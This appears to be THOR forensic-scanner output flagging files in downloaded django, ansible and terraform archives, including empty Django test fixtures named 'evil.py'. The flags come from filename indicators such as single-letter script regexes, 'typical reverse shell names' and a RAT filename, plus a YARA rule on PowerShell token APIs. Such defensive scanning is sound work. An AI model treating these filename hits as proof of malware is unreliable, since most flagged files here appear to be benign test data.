Sep 10 12:27:01 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: LogScan MESSAGE: Notable Log Entry found SCANID: S-BxzYg1khKSI ENTRY: Sep 03 10:42:45.293 INFO Get file handle: "C:\\Users\\j-taylor\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\extensions\\github\\testWorkspace\\x.txt" (attempt 1) SCORE: 40 FILE: E:\Users\j-taylor\AppData\Local\Temp\vscode-inno-updater-1725360164.log LOG_MODIFIED: Tue Sep  3 10:42:45 2024 LOG_ACCESSED: Tue Sep  3 10:42:45 2024 LOG_CREATED: Tue Sep  3 10:42:44 2024 REASON_1: Filename IOC \x.txt SUBSCORE_1: 40 REF_1: BSI CSW-Nr. 2017-200525-1034 SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \x.txt REASONS_COUNT: 1 FILE_1: E:\Users\j-taylor\AppData\Local\Temp\vscode-inno-updater-1725360164.log EXISTS_1: yes TYPE_1: UNKNOWN SIZE_1: 238926 MD5_1: 9cce8b1c6ea8e6276de01bc2e7ee9f29 SHA1_1: 5acd95db24b51387a751bcb4d4aef425400d8852 SHA256_1: aee8954a8801be635fba94a2c5469f1f171bcde0c3336b84643a79f81ab7092b FIRSTBYTES_1: 5365702030332031303a34323a34342e36373320 / Sep 03 10:42:44.673  CREATED_1: Tue Sep  3 10:42:44.668 2024
Sep 10 12:27:01 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: LogScan MESSAGE: Notable Log Entry found SCANID: S-BxzYg1khKSI ENTRY: Sep 03 10:42:45.307 INFO Get file handle: "C:\\Users\\j-taylor\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\extensions\\github\\testWorkspace\\PULL_REQUEST_TEMPLATE\\x.txt" (attempt 1) SCORE: 40 FILE: E:\Users\j-taylor\AppData\Local\Temp\vscode-inno-updater-1725360164.log LOG_MODIFIED: Tue Sep  3 10:42:45 2024 LOG_ACCESSED: Tue Sep  3 10:42:45 2024 LOG_CREATED: Tue Sep  3 10:42:44 2024 REASON_1: Filename IOC \x.txt SUBSCORE_1: 40 REF_1: BSI CSW-Nr. 2017-200525-1034 SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \x.txt REASONS_COUNT: 1 FILE_1: E:\Users\j-taylor\AppData\Local\Temp\vscode-inno-updater-1725360164.log EXISTS_1: yes TYPE_1: UNKNOWN SIZE_1: 238926 MD5_1: 9cce8b1c6ea8e6276de01bc2e7ee9f29 SHA1_1: 5acd95db24b51387a751bcb4d4aef425400d8852 SHA256_1: aee8954a8801be635fba94a2c5469f1f171bcde0c3336b84643a79f81ab7092b FIRSTBYTES_1: 5365702030332031303a34323a34342e36373320 / Sep 03 10:42:44.673  CREATED_1: Tue Sep  3 10:42:44.668 2024
Sep 10 12:27:01 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: LogScan MESSAGE: Notable Log Entry found SCANID: S-BxzYg1khKSI ENTRY: Sep 03 10:42:45.361 INFO Get file handle: "C:\\Users\\j-taylor\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\extensions\\github\\testWorkspace\\docs\\PULL_REQUEST_TEMPLATE\\x.txt" (attempt 1) SCORE: 40 FILE: E:\Users\j-taylor\AppData\Local\Temp\vscode-inno-updater-1725360164.log LOG_MODIFIED: Tue Sep  3 10:42:45 2024 LOG_ACCESSED: Tue Sep  3 10:42:45 2024 LOG_CREATED: Tue Sep  3 10:42:44 2024 REASON_1: Filename IOC \x.txt SUBSCORE_1: 40 REF_1: BSI CSW-Nr. 2017-200525-1034 SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \x.txt REASONS_COUNT: 1 FILE_1: E:\Users\j-taylor\AppData\Local\Temp\vscode-inno-updater-1725360164.log EXISTS_1: yes TYPE_1: UNKNOWN SIZE_1: 238926 MD5_1: 9cce8b1c6ea8e6276de01bc2e7ee9f29 SHA1_1: 5acd95db24b51387a751bcb4d4aef425400d8852 SHA256_1: aee8954a8801be635fba94a2c5469f1f171bcde0c3336b84643a79f81ab7092b FIRSTBYTES_1: 5365702030332031303a34323a34342e36373320 / Sep 03 10:42:44.673  CREATED_1: Tue Sep  3 10:42:44.668 2024
Sep 10 12:27:42 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: Filescan MESSAGE: Suspicious file found SCANID: S-BxzYg1khKSI SCORE: 40 FILE: E:\Users\j-taylor\Desktop\ПО\ПО\Dev Rep\django-main.zip\django-main\tests\forms_tests\field_tests\filepathfield_test_dir\a.py EXT: .py TYPE: UNKNOWN SIZE: 0 MD5: d41d8cd98f00b204e9800998ecf8427e SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709 SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 FIRSTBYTES:  /  MODIFIED: Mon Jul 29 10:31:32.000 2024 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Desktop\ПО\ПО\Dev Rep\django-main.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 15363470 ARCHIVE_MD5: 36f7c9edd23803cacc0096fd1abebd0d ARCHIVE_SHA1: 48d7e642c57d625f72e05c062a4ed7fd38f4bb20 ARCHIVE_SHA256: 4586f0f12e7b077d135189318cc630216ee27d5a6edd6ae93ea4acc00774d010 ARCHIVE_FIRSTBYTES: 504b03040a0000000000f01bfd58000000000000 / PK X ARCHIVE_CREATED: Mon Jul 29 01:18:34.000 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:37.164 2024 ARCHIVE_ACCESSED: Tue Jul 30 12:59:37.164 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: Filename IOC \\[\w]\.(sh|ps1|py|bat)$ SUBSCORE_1: 40 REF_1: Suspicious Single Letter Script Names SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \a.py REASONS_COUNT: 1
Sep 10 12:27:42 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: Filescan MESSAGE: Suspicious file found SCANID: S-BxzYg1khKSI SCORE: 40 FILE: E:\Users\j-taylor\Desktop\ПО\ПО\Dev Rep\django-main.zip\django-main\tests\forms_tests\field_tests\filepathfield_test_dir\b.py EXT: .py TYPE: UNKNOWN SIZE: 0 MD5: d41d8cd98f00b204e9800998ecf8427e SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709 SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 FIRSTBYTES:  /  MODIFIED: Mon Jul 29 10:31:32.000 2024 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Desktop\ПО\ПО\Dev Rep\django-main.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 15363470 ARCHIVE_MD5: 36f7c9edd23803cacc0096fd1abebd0d ARCHIVE_SHA1: 48d7e642c57d625f72e05c062a4ed7fd38f4bb20 ARCHIVE_SHA256: 4586f0f12e7b077d135189318cc630216ee27d5a6edd6ae93ea4acc00774d010 ARCHIVE_FIRSTBYTES: 504b03040a0000000000f01bfd58000000000000 / PK X ARCHIVE_CREATED: Mon Jul 29 01:18:34.000 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:37.164 2024 ARCHIVE_ACCESSED: Tue Jul 30 12:59:37.164 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: Filename IOC \\[\w]\.(sh|ps1|py|bat)$ SUBSCORE_1: 40 REF_1: Suspicious Single Letter Script Names SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \b.py REASONS_COUNT: 1
Sep 10 12:27:42 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: Filescan MESSAGE: Suspicious file found SCANID: S-BxzYg1khKSI SCORE: 40 FILE: E:\Users\j-taylor\Desktop\ПО\ПО\Dev Rep\django-main.zip\django-main\tests\forms_tests\field_tests\filepathfield_test_dir\c\d.py EXT: .py TYPE: UNKNOWN SIZE: 0 MD5: d41d8cd98f00b204e9800998ecf8427e SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709 SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 FIRSTBYTES:  /  MODIFIED: Mon Jul 29 10:31:32.000 2024 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Desktop\ПО\ПО\Dev Rep\django-main.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 15363470 ARCHIVE_MD5: 36f7c9edd23803cacc0096fd1abebd0d ARCHIVE_SHA1: 48d7e642c57d625f72e05c062a4ed7fd38f4bb20 ARCHIVE_SHA256: 4586f0f12e7b077d135189318cc630216ee27d5a6edd6ae93ea4acc00774d010 ARCHIVE_FIRSTBYTES: 504b03040a0000000000f01bfd58000000000000 / PK X ARCHIVE_CREATED: Mon Jul 29 01:18:34.000 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:37.164 2024 ARCHIVE_ACCESSED: Tue Jul 30 12:59:37.164 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: Filename IOC \\[\w]\.(sh|ps1|py|bat)$ SUBSCORE_1: 40 REF_1: Suspicious Single Letter Script Names SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \d.py REASONS_COUNT: 1
Sep 10 12:27:42 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: Filescan MESSAGE: Suspicious file found SCANID: S-BxzYg1khKSI SCORE: 40 FILE: E:\Users\j-taylor\Desktop\ПО\ПО\Dev Rep\django-main.zip\django-main\tests\forms_tests\field_tests\filepathfield_test_dir\c\e.py EXT: .py TYPE: UNKNOWN SIZE: 0 MD5: d41d8cd98f00b204e9800998ecf8427e SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709 SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 FIRSTBYTES:  /  MODIFIED: Mon Jul 29 10:31:32.000 2024 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Desktop\ПО\ПО\Dev Rep\django-main.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 15363470 ARCHIVE_MD5: 36f7c9edd23803cacc0096fd1abebd0d ARCHIVE_SHA1: 48d7e642c57d625f72e05c062a4ed7fd38f4bb20 ARCHIVE_SHA256: 4586f0f12e7b077d135189318cc630216ee27d5a6edd6ae93ea4acc00774d010 ARCHIVE_FIRSTBYTES: 504b03040a0000000000f01bfd58000000000000 / PK X ARCHIVE_CREATED: Mon Jul 29 01:18:34.000 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:37.164 2024 ARCHIVE_ACCESSED: Tue Jul 30 12:59:37.164 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: Filename IOC \\[\w]\.(sh|ps1|py|bat)$ SUBSCORE_1: 40 REF_1: Suspicious Single Letter Script Names SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \e.py REASONS_COUNT: 1
Sep 10 12:27:42 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: Filescan MESSAGE: Suspicious file found SCANID: S-BxzYg1khKSI SCORE: 40 FILE: E:\Users\j-taylor\Desktop\ПО\ПО\Dev Rep\django-main.zip\django-main\tests\forms_tests\field_tests\filepathfield_test_dir\c\f\g.py EXT: .py TYPE: UNKNOWN SIZE: 0 MD5: d41d8cd98f00b204e9800998ecf8427e SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709 SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 FIRSTBYTES:  /  MODIFIED: Mon Jul 29 10:31:32.000 2024 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Desktop\ПО\ПО\Dev Rep\django-main.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 15363470 ARCHIVE_MD5: 36f7c9edd23803cacc0096fd1abebd0d ARCHIVE_SHA1: 48d7e642c57d625f72e05c062a4ed7fd38f4bb20 ARCHIVE_SHA256: 4586f0f12e7b077d135189318cc630216ee27d5a6edd6ae93ea4acc00774d010 ARCHIVE_FIRSTBYTES: 504b03040a0000000000f01bfd58000000000000 / PK X ARCHIVE_CREATED: Mon Jul 29 01:18:34.000 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:37.164 2024 ARCHIVE_ACCESSED: Tue Jul 30 12:59:37.164 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: Filename IOC \\[\w]\.(sh|ps1|py|bat)$ SUBSCORE_1: 40 REF_1: Suspicious Single Letter Script Names SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \g.py REASONS_COUNT: 1
Sep 10 12:27:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: Filescan MESSAGE: Suspicious file found SCANID: S-BxzYg1khKSI SCORE: 40 FILE: E:\Users\j-taylor\Desktop\ПО\ПО\Dev Rep\django-main.zip\django-main\tests\migrations\test_migrations_clashing_prefix\a.py EXT: .py TYPE: UNKNOWN SIZE: 83 MD5: be7a5075cd9ac9dc757a1f3192caa0a4 SHA1: 10e452a3f3b3a8305737e13722dd2821915dd373 SHA256: 944cbcd2c079d80f8a63b3af673447f2325e70693cf447552b206141a7591041 FIRSTBYTES: 66726f6d20646a616e676f2e646220696d706f72 / from django.db impor MODIFIED: Mon Jul 29 10:31:32.000 2024 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Desktop\ПО\ПО\Dev Rep\django-main.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 15363470 ARCHIVE_MD5: 36f7c9edd23803cacc0096fd1abebd0d ARCHIVE_SHA1: 48d7e642c57d625f72e05c062a4ed7fd38f4bb20 ARCHIVE_SHA256: 4586f0f12e7b077d135189318cc630216ee27d5a6edd6ae93ea4acc00774d010 ARCHIVE_FIRSTBYTES: 504b03040a0000000000f01bfd58000000000000 / PK X ARCHIVE_CREATED: Mon Jul 29 01:18:34.000 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:37.164 2024 ARCHIVE_ACCESSED: Tue Jul 30 12:59:37.164 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: Filename IOC \\[\w]\.(sh|ps1|py|bat)$ SUBSCORE_1: 40 REF_1: Suspicious Single Letter Script Names SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \a.py REASONS_COUNT: 1
Sep 10 12:27:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Filescan MESSAGE: Possibly Dangerous file found SCANID: S-BxzYg1khKSI SCORE: 65 FILE: E:\Users\j-taylor\Desktop\ПО\ПО\Dev Rep\django-main.zip\django-main\tests\utils_tests\traversal_archives\traversal.tar\evil.py EXT: .py TYPE: UNKNOWN SIZE: 0 MD5: d41d8cd98f00b204e9800998ecf8427e SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709 SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 FIRSTBYTES:  /  MODIFIED: Fri Jan 22 10:01:29.000 2021 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Desktop\ПО\ПО\Dev Rep\django-main.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 15363470 ARCHIVE_MD5: 36f7c9edd23803cacc0096fd1abebd0d ARCHIVE_SHA1: 48d7e642c57d625f72e05c062a4ed7fd38f4bb20 ARCHIVE_SHA256: 4586f0f12e7b077d135189318cc630216ee27d5a6edd6ae93ea4acc00774d010 ARCHIVE_FIRSTBYTES: 504b03040a0000000000f01bfd58000000000000 / PK X ARCHIVE_CREATED: Mon Jul 29 01:18:34.000 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:37.164 2024 ARCHIVE_ACCESSED: Tue Jul 30 12:59:37.164 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: Filename IOC \evil.py SUBSCORE_1: 65 REF_1: Typical reverse shell names / suspicious file name SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \evil.py REASONS_COUNT: 1
Sep 10 12:27:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Filescan MESSAGE: Possibly Dangerous file found SCANID: S-BxzYg1khKSI SCORE: 65 FILE: E:\Users\j-taylor\Desktop\ПО\ПО\Dev Rep\django-main.zip\django-main\tests\utils_tests\traversal_archives\traversal_absolute.tar\tmp\evil.py EXT: .py TYPE: UNKNOWN SIZE: 0 MD5: d41d8cd98f00b204e9800998ecf8427e SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709 SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 FIRSTBYTES:  /  MODIFIED: Fri Jan 22 10:46:59.000 2021 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Desktop\ПО\ПО\Dev Rep\django-main.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 15363470 ARCHIVE_MD5: 36f7c9edd23803cacc0096fd1abebd0d ARCHIVE_SHA1: 48d7e642c57d625f72e05c062a4ed7fd38f4bb20 ARCHIVE_SHA256: 4586f0f12e7b077d135189318cc630216ee27d5a6edd6ae93ea4acc00774d010 ARCHIVE_FIRSTBYTES: 504b03040a0000000000f01bfd58000000000000 / PK X ARCHIVE_CREATED: Mon Jul 29 01:18:34.000 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:37.164 2024 ARCHIVE_ACCESSED: Tue Jul 30 12:59:37.164 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: Filename IOC \evil.py SUBSCORE_1: 65 REF_1: Typical reverse shell names / suspicious file name SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \evil.py REASONS_COUNT: 1
Sep 10 12:27:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Archive MESSAGE: Skipping nested object because the maximum amount of nested objects was reached SCANID: S-BxzYg1khKSI PATH: E:\Users\j-taylor\Desktop\ПО\ПО\Dev Rep\django-main.zip\django-main\tests\utils_tests\traversal_archives\traversal_disk_win.zip COUNT: 10001
Sep 10 12:27:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Archive MESSAGE: Skipping nested object because the maximum amount of nested objects was reached SCANID: S-BxzYg1khKSI PATH: E:\Users\j-taylor\Desktop\ПО\ПО\Dev Rep\django-main.zip COUNT: 10001
Sep 10 12:28:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Archive MESSAGE: Skipping nested object because the maximum amount of nested objects was reached SCANID: S-BxzYg1khKSI PATH: E:\Users\j-taylor\Desktop\ПО\ПО\Dev Rep\freeCodeCamp-main.zip COUNT: 10001
Sep 10 12:28:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: Filescan MESSAGE: Suspicious file found SCANID: S-BxzYg1khKSI SCORE: 40 FILE: E:\Users\j-taylor\Desktop\ПО\ПО\DevOps Rep\ansible-devel.zip\ansible-devel\.azure-pipelines\commands\i.sh EXT: .sh TYPE: UNIX SCRIPT SIZE: 393 MD5: b45421b47ee669469c2ffaa9c4017e60 SHA1: a29abee167ba0f2628f871f0b0adcba0abe7f649 SHA256: 21cedac777540687aadfdae9416b4a14f39dce04a4122948f9780274f284ee28 FIRSTBYTES: 23212f7573722f62696e2f656e7620626173680a / #!/usr/bin/env bash  MODIFIED: Mon Jul 29 08:41:23.000 2024 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Desktop\ПО\ПО\DevOps Rep\ansible-devel.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 5491432 ARCHIVE_MD5: 7fdbf84c4fc030083bd41e484e4efaf1 ARCHIVE_SHA1: 47f210fe5617b2f79255f38c32bc51aef0e3b932 ARCHIVE_SHA256: 31b9ff5f3f6cd6c0e5fa9f03e9914dd8ec4196c54cd9c0aee81e4d70d370a113 ARCHIVE_FIRSTBYTES: 504b03040a00000000002b0dfd58000000000000 / PK +X ARCHIVE_CREATED: Mon Jul 29 01:24:54.000 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:38.321 2024 ARCHIVE_ACCESSED: Tue Jul 30 12:59:38.321 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: Filename IOC \\[\w]\.(sh|ps1|py|bat)$ SUBSCORE_1: 40 REF_1: Suspicious Single Letter Script Names SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \i.sh REASONS_COUNT: 1
Sep 10 12:28:59 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: Filescan MESSAGE: Suspicious file found SCANID: S-BxzYg1khKSI SCORE: 40 FILE: E:\Users\j-taylor\Desktop\ПО\ПО\DevOps Rep\ansible-devel.zip\ansible-devel\test\integration\targets\module_precedence\lib_with_extension\a.py EXT: .py TYPE: UNIX SCRIPT SIZE: 180 MD5: 2161d8f74a56a5b0ab97a3d69ec6e8d2 SHA1: 9fcf715b329114530f594feb0b5d3bf800e31f1b SHA256: 32a2911325a5ff929dc64d6618ba9b12f68bd0efa428a201b160f3d5a073609b FIRSTBYTES: 23212f7573722f62696e2f707974686f6e0a6672 / #!/usr/bin/python fr MODIFIED: Mon Jul 29 08:41:23.000 2024 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Desktop\ПО\ПО\DevOps Rep\ansible-devel.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 5491432 ARCHIVE_MD5: 7fdbf84c4fc030083bd41e484e4efaf1 ARCHIVE_SHA1: 47f210fe5617b2f79255f38c32bc51aef0e3b932 ARCHIVE_SHA256: 31b9ff5f3f6cd6c0e5fa9f03e9914dd8ec4196c54cd9c0aee81e4d70d370a113 ARCHIVE_FIRSTBYTES: 504b03040a00000000002b0dfd58000000000000 / PK +X ARCHIVE_CREATED: Mon Jul 29 01:24:54.000 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:38.321 2024 ARCHIVE_ACCESSED: Tue Jul 30 12:59:38.321 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: Filename IOC \\[\w]\.(sh|ps1|py|bat)$ SUBSCORE_1: 40 REF_1: Suspicious Single Letter Script Names SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \a.py REASONS_COUNT: 1
Sep 10 12:28:59 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: Filescan MESSAGE: Suspicious file found SCANID: S-BxzYg1khKSI SCORE: 40 FILE: E:\Users\j-taylor\Desktop\ПО\ПО\DevOps Rep\ansible-devel.zip\ansible-devel\test\integration\targets\module_precedence\roles_with_extension\foo\library\a.py EXT: .py TYPE: UNIX SCRIPT SIZE: 191 MD5: 64f3294e5ac928384f0b3ff6220f0e05 SHA1: 1b48a8546ef1a9d271895d0d9a2ee02883058f06 SHA256: 907b03cd8df885c613d09def3e36a427ea084284b039d36e00b8fe7af5d8522b FIRSTBYTES: 23212f7573722f62696e2f707974686f6e0a6672 / #!/usr/bin/python fr MODIFIED: Mon Jul 29 08:41:23.000 2024 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Desktop\ПО\ПО\DevOps Rep\ansible-devel.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 5491432 ARCHIVE_MD5: 7fdbf84c4fc030083bd41e484e4efaf1 ARCHIVE_SHA1: 47f210fe5617b2f79255f38c32bc51aef0e3b932 ARCHIVE_SHA256: 31b9ff5f3f6cd6c0e5fa9f03e9914dd8ec4196c54cd9c0aee81e4d70d370a113 ARCHIVE_FIRSTBYTES: 504b03040a00000000002b0dfd58000000000000 / PK +X ARCHIVE_CREATED: Mon Jul 29 01:24:54.000 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:38.321 2024 ARCHIVE_ACCESSED: Tue Jul 30 12:59:38.321 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: Filename IOC \\[\w]\.(sh|ps1|py|bat)$ SUBSCORE_1: 40 REF_1: Suspicious Single Letter Script Names SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \a.py REASONS_COUNT: 1
Sep 10 12:28:59 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Filescan MESSAGE: Possibly Dangerous file found SCANID: S-BxzYg1khKSI SCORE: 70 FILE: E:\Users\j-taylor\Desktop\ПО\ПО\DevOps Rep\ansible-devel.zip\ansible-devel\test\integration\targets\module_utils_Ansible.Become\library\ansible_become_tests.ps1 EXT: .ps1 TYPE: Script SIZE: 47988 MD5: 757204f708912769208639d0e7f492ed SHA1: b267b5cb3605d8e9757ca0a72c45c36d8683ca22 SHA256: 244a4ce2f3f5db47897df657a51e69d95354deeab93d4629bfe342024645be29 FIRSTBYTES: 2321706f7765727368656c6c0a0a23416e736962 / #!powershell  #Ansib MODIFIED: Mon Jul 29 08:41:23.000 2024 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Desktop\ПО\ПО\DevOps Rep\ansible-devel.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 5491432 ARCHIVE_MD5: 7fdbf84c4fc030083bd41e484e4efaf1 ARCHIVE_SHA1: 47f210fe5617b2f79255f38c32bc51aef0e3b932 ARCHIVE_SHA256: 31b9ff5f3f6cd6c0e5fa9f03e9914dd8ec4196c54cd9c0aee81e4d70d370a113 ARCHIVE_FIRSTBYTES: 504b03040a00000000002b0dfd58000000000000 / PK +X ARCHIVE_CREATED: Mon Jul 29 01:24:54.000 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:38.321 2024 ARCHIVE_ACCESSED: Tue Jul 30 12:59:38.321 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: YARA rule SUSP_PS1_FunctionImports_Jul22_1 / Detects PowerShell tools for new process creations SUBSCORE_1: 70 REF_1: https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/UAC-TokenMagic.ps1 SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "New-Object " in "me.ToString());\x0a        }\x0a    }\x0a}\x0a'@\x0a    $logon = New-Object -TypeName Ansible.Logon\x0a    ConvertTo-Json -InputO" at 0x3f2f Str2: "public static extern bool OpenProcessToken(" in "ort(\"advapi32.dll\", SetLastError = true)]\x0a        public static extern bool OpenProcessToken(\x0a            SafeNativeHandle ProcessHandle,\x0a     " at 0x18d0 RULEDATE_1: 2022-07-29 TAGS_1: SCRIPT, SUSP, T1059_001 RULENAME_1: SUSP_PS1_FunctionImports_Jul22_1 AUTHOR_1: Florian Roth REASONS_COUNT: 1
Sep 10 12:29:14 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: Filescan MESSAGE: Suspicious file found SCANID: S-BxzYg1khKSI SCORE: 50 FILE: E:\Users\j-taylor\Desktop\ПО\ПО\DevOps Rep\terraform-main.zip\terraform-main\internal\lang\funcs\testdata\hello.tmpl EXT: .tmpl TYPE: UNKNOWN SIZE: 15 MD5: 8e147b8c19f76e99063c99dc2a144f5d SHA1: b6e927178337b9976a3496499682e5f231bdef03 SHA256: e0e3fefc2c88b95e221d37afb0e3c4da1e10073f046d3416f4b64e91c131ce9a FIRSTBYTES: 48656c6c6f2c20247b6e616d657d21 / Hello, ${name}! MODIFIED: Mon Jul 29 11:07:37.000 2024 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Desktop\ПО\ПО\DevOps Rep\terraform-main.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 9103146 ARCHIVE_MD5: 1b21be3bad334b290996069e4162ada4 ARCHIVE_SHA1: 20037437fde7bd949d85a738583d415744d09b95 ARCHIVE_SHA256: 07c247e142ec0de6b85457df7139c641c412d0814950fce16994229fc381b264 ARCHIVE_FIRSTBYTES: 504b03040a0000000000f220fd58000000000000 / PK  X ARCHIVE_CREATED: Mon Jul 29 01:25:20.000 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:40.806 2024 ARCHIVE_ACCESSED: Tue Jul 30 12:59:40.806 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: Filename IOC \hello.tmp SUBSCORE_1: 50 REF_1: RAT - https://twitter.com/obfusor/status/1538783112145928192 SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \hello.tmp REASONS_COUNT: 1
